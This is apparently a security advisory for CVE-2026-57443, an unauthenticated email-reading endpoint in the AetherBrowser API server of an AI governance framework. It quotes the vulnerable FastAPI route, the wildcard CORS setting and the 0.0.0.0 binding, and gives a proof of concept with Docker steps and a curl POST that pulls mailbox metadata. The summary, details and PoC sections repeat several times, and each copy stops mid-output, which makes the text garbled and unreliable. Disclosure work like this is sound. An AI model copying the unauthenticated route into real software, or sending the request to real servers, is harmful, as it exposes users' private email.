CVE-2026-57443

SCBE-AETHERMOORE is a geometric AI governance and evaluation framework. Starting in version 4.0.2 and prior to version 4.2.1, the AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. Version 4.2.1 patches the issue.

SCBE-AETHERMOORE is a geometric AI governance and evaluation framework. Starting in version 4.0.2 and prior to version 4.2.1, the AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. Version 4.2.1 patches the issue.

Summary

The AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. This constitutes a critical information-disclosure vulnerability.

Details

scripts/aetherbrowser/api_server.py registers the following route at line 3008 (report excerpt references line 2987; the actual line is 3008):

@app.post("/api/ops/check-email")
async def ops_check_email():
    script = ROOT / "scripts" / "apollo" / "email_reader.py"
    result = await asyncio.to_thread(
        _run_subprocess,
        [sys.executable, str(script)],
        timeout=30,
    )
    return {
        "output": result.get("stdout", "")[:2000],
        ...
    }

No Depends() guard, middleware check, or API-key validation is applied. The decorator is a plain @app.post(...), so FastAPI registers the route with zero access control.

The server is bound to all interfaces (line 4065/4070):

uvicorn.run(app, host="0.0.0.0", port=port)   # default port 8100

CORS middleware is configured to allow any origin (lines 486–492):

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    ...
)

When the endpoint is called, email_reader.py is executed as a subprocess. It loads mail credentials from config/connector_oauth/.env.connector.oauth (line 29–34 of email_reader.py):

# loads PROTONMAIL_BRIDGE_PASSWORD, GMAIL_APP_PASSWORD, etc.

With credentials present, the script connects via IMAP, fetches full RFC822 messages, and prints sender, subject, and a body snippet to stdout (lines 273–299). The API then returns the first 2000 characters of that stdout to the unauthenticated caller as JSON.

Complete data-flow path:

1. api_server.py:4065+4070 — server starts on 0.0.0.0:8100
2. api_server.py:486–492 — CORS allow_origins=["*"] permits cross-origin requests
3. api_server.py:3008 — POST /api/ops/check-email registered without auth
4. api_server.py:3011–3023 — _run_subprocess([sys.executable, str(script)]) invoked; stdout captured
5. email_reader.py:29–34 — connector env file loaded, credentials extracted
6. email_reader.py:378–394 — IMAP login using PROTONMAIL_BRIDGE_PASSWORD / GMAIL_APP_PASSWORD
7. email_reader.py:273–299 — RFC822 messages fetched; sender, subject, snippet printed to stdout
8. api_server.py:3023 — stdout[:2000] returned in JSON response to caller

Even without credentials configured, the subprocess executes and returns its banner output, confirming the unauthenticated code path reaches the sensitive subprocess invocation.

PoC

Prerequisites:

• Docker installed on the attacker or test machine.
• Repository source available under repo/ within the build context.

Step 1 — Build the Docker image:

docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .

The Dockerfile (vuln-001/Dockerfile) installs fastapi, uvicorn, and pydantic, copies the repository source, and starts scripts/aetherbrowser/api_server.py on port 8100.

Step 2 — Start the container:

docker run --rm -d --name vuln001-test -p 8100:8100 vuln001-aetherbrowser

Step 3 — Run the PoC script:

python3 vuln-001/poc.py --host 127.0.0.1 --port 8100

Or send the request manually with no authentication headers:

curl -s -X POST http://127.0.0.1:8100/api/ops/check-email \
  -H 'Content-Type: application/json' \
  -d '{}'

Expected result (no credentials configured):

{
  "output": "APOLLO EMAIL…

SCBE-AETHERMOORE is a geometric AI governance and evaluation framework. Starting in version 4.0.2 and prior to version 4.2.1, the AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. Version 4.2.1 patches the issue.

SCBE-AETHERMOORE is a geometric AI governance and evaluation framework. Starting in version 4.0.2 and prior to version 4.2.1, the AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. Version 4.2.1 patches the issue.

Summary

The AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. This constitutes a critical information-disclosure vulnerability.

Details

scripts/aetherbrowser/api_server.py registers the following route at line 3008 (report excerpt references line 2987; the actual line is 3008):

@app.post("/api/ops/check-email")
async def ops_check_email():
    script = ROOT / "scripts" / "apollo" / "email_reader.py"
    result = await asyncio.to_thread(
        _run_subprocess,
        [sys.executable, str(script)],
        timeout=30,
    )
    return {
        "output": result.get("stdout", "")[:2000],
        ...
    }

No Depends() guard, middleware check, or API-key validation is applied. The decorator is a plain @app.post(...), so FastAPI registers the route with zero access control.

The server is bound to all interfaces (line 4065/4070):

uvicorn.run(app, host="0.0.0.0", port=port)   # default port 8100

CORS middleware is configured to allow any origin (lines 486–492):

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    ...
)

When the endpoint is called, email_reader.py is executed as a subprocess. It loads mail credentials from config/connector_oauth/.env.connector.oauth (line 29–34 of email_reader.py):

# loads PROTONMAIL_BRIDGE_PASSWORD, GMAIL_APP_PASSWORD, etc.

With credentials present, the script connects via IMAP, fetches full RFC822 messages, and prints sender, subject, and a body snippet to stdout (lines 273–299). The API then returns the first 2000 characters of that stdout to the unauthenticated caller as JSON.

Complete data-flow path:

1. api_server.py:4065+4070 — server starts on 0.0.0.0:8100
2. api_server.py:486–492 — CORS allow_origins=["*"] permits cross-origin requests
3. api_server.py:3008 — POST /api/ops/check-email registered without auth
4. api_server.py:3011–3023 — _run_subprocess([sys.executable, str(script)]) invoked; stdout captured
5. email_reader.py:29–34 — connector env file loaded, credentials extracted
6. email_reader.py:378–394 — IMAP login using PROTONMAIL_BRIDGE_PASSWORD / GMAIL_APP_PASSWORD
7. email_reader.py:273–299 — RFC822 messages fetched; sender, subject, snippet printed to stdout
8. api_server.py:3023 — stdout[:2000] returned in JSON response to caller

Even without credentials configured, the subprocess executes and returns its banner output, confirming the unauthenticated code path reaches the sensitive subprocess invocation.

PoC

Prerequisites:

• Docker installed on the attacker or test machine.
• Repository source available under repo/ within the build context.

Step 1 — Build the Docker image:

docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .

The Dockerfile (vuln-001/Dockerfile) installs fastapi, uvicorn, and pydantic, copies the repository source, and starts scripts/aetherbrowser/api_server.py on port 8100.

Step 2 — Start the container:

docker run --rm -d --name vuln001-test -p 8100:8100 vuln001-aetherbrowser

Step 3 — Run the PoC script:

python3 vuln-001/poc.py --host 127.0.0.1 --port 8100

Or send the request manually with no authentication headers:

curl -s -X POST http://127.0.0.1:8100/api/ops/check-email \
  -H 'Content-Type: application/json' \
  -d '{}'

Expected result (no credentials configured):

{
  "output": "APOLLO EMAIL…

Summary

The AetherBrowser API server (scripts/aetherbrowser/api_server.py) exposes the POST /api/ops/check-email endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the email_reader.py subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to 0.0.0.0:8100 by default with CORS set to allow_origins=["*"], making it reachable from any network or browser origin. This constitutes a critical information-disclosure vulnerability.

Details

scripts/aetherbrowser/api_server.py registers the following route at line 3008 (report excerpt references line 2987; the actual line is 3008):

@app.post("/api/ops/check-email")
async def ops_check_email():
    script = ROOT / "scripts" / "apollo" / "email_reader.py"
    result = await asyncio.to_thread(
        _run_subprocess,
        [sys.executable, str(script)],
        timeout=30,
    )
    return {
        "output": result.get("stdout", "")[:2000],
        ...
    }

No Depends() guard, middleware check, or API-key validation is applied. The decorator is a plain @app.post(...), so FastAPI registers the route with zero access control.

The server is bound to all interfaces (line 4065/4070):

uvicorn.run(app, host="0.0.0.0", port=port)   # default port 8100

CORS middleware is configured to allow any origin (lines 486–492):

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    ...
)

When the endpoint is called, email_reader.py is executed as a subprocess. It loads mail credentials from config/connector_oauth/.env.connector.oauth (line 29–34 of email_reader.py):

# loads PROTONMAIL_BRIDGE_PASSWORD, GMAIL_APP_PASSWORD, etc.

With credentials present, the script connects via IMAP, fetches full RFC822 messages, and prints sender, subject, and a body snippet to stdout (lines 273–299). The API then returns the first 2000 characters of that stdout to the unauthenticated caller as JSON.

Complete data-flow path:

1. api_server.py:4065+4070 — server starts on 0.0.0.0:8100
2. api_server.py:486–492 — CORS allow_origins=["*"] permits cross-origin requests
3. api_server.py:3008 — POST /api/ops/check-email registered without auth
4. api_server.py:3011–3023 — _run_subprocess([sys.executable, str(script)]) invoked; stdout captured
5. email_reader.py:29–34 — connector env file loaded, credentials extracted
6. email_reader.py:378–394 — IMAP login using PROTONMAIL_BRIDGE_PASSWORD / GMAIL_APP_PASSWORD
7. email_reader.py:273–299 — RFC822 messages fetched; sender, subject, snippet printed to stdout
8. api_server.py:3023 — stdout[:2000] returned in JSON response to caller

Even without credentials configured, the subprocess executes and returns its banner output, confirming the unauthenticated code path reaches the sensitive subprocess invocation.

PoC

Prerequisites:

• Docker installed on the attacker or test machine.
• Repository source available under repo/ within the build context.

Step 1 — Build the Docker image:

docker build -t vuln001-aetherbrowser -f vuln-001/Dockerfile .

The Dockerfile (vuln-001/Dockerfile) installs fastapi, uvicorn, and pydantic, copies the repository source, and starts scripts/aetherbrowser/api_server.py on port 8100.

Step 2 — Start the container:

docker run --rm -d --name vuln001-test -p 8100:8100 vuln001-aetherbrowser

Step 3 — Run the PoC script:

python3 vuln-001/poc.py --host 127.0.0.1 --port 8100

Or send the request manually with no authentication headers:

curl -s -X POST http://127.0.0.1:8100/api/ops/check-email \
  -H 'Content-Type: application/json' \
  -d '{}'

Expected result (no credentials configured):

{
  "output": "APOLLO EMAIL…